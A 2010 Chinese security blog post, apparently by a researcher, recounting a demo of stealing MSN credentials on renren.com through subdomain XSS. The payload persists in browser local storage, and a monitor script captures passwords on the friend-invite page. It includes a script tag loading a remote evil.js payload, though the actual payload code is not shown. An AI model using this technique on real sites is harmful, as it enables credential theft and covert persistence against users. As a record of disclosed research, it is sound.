人人网安全风险之跨子域盗msn号

date 2010年04月02日 | category 学习笔记| 坏人咖啡

sscon2009会议上《探究xss virus》的议题中我们提到:在基于web平台的操作层面上,有些类似传统桌面的攻击同样会发生,比如盗QQ号/MSN号/web网游号等。攻击的技巧可以好几种:高级钓鱼攻击(甚至不需基于XSS)、XSS keylogger、json hijacking等。

在sscon2009上我们演示的跨子域盗msn号的demo录像,录像挺大的这里放不了,我就提提过程与细节吧:

一、使用payload的方式:

利用renren.com任意子域下发现的xss,当用户被跨时,可以将如下payload写入到用户本地存储:cookie/userData /localStorage/flash cookie(我们对这些本地存储都做了相关demo),比如这里使用的是localStorage(IE8/ff已经通用,存储上限5M),那么下次读取并执行用户本地存储的payload只要简单一句:

当然我们也可以用传统的<script src=romote-domain/evil.js></script>这样调用远程payload。大家任意发挥。payload 代码如下:

二、监控脚本monitor.js的代码

很简单的一段代码,当用户输入msn账号密码邀请好友加入renren时,用户的msn账号密码就被盗了。

三、细节是什么

1、renren的web所有子域(应该是吧)都是用了document.domain=’renren.com’;
2、注入监控脚本与 invite页面的document.domain=’renren.com’的时间竞争;

四、有趣的地方在哪

1、我们尝试各种本地存储(除了google gears)来保存我们的payload,让这些恶意的操作可以持续并且不被用户发觉,甚至可以成为一个好后门;
2、跨子域后,我们可以做很多很多事;
3、如果你没一个好的xss漏洞,这个过程可能就不那么有趣了:),我仅在IE8成功进行如上测试。

所属分类: 学习笔记
Tags: , , , ,


2 Comments

  1. Comment by:
    zz

    又见到了黑客。。

  2. Comment by:
    cao2109

    偶来膜拜大牛了~~~

RSS feed for comments on this post.

对不起,该文章的评论被关闭了!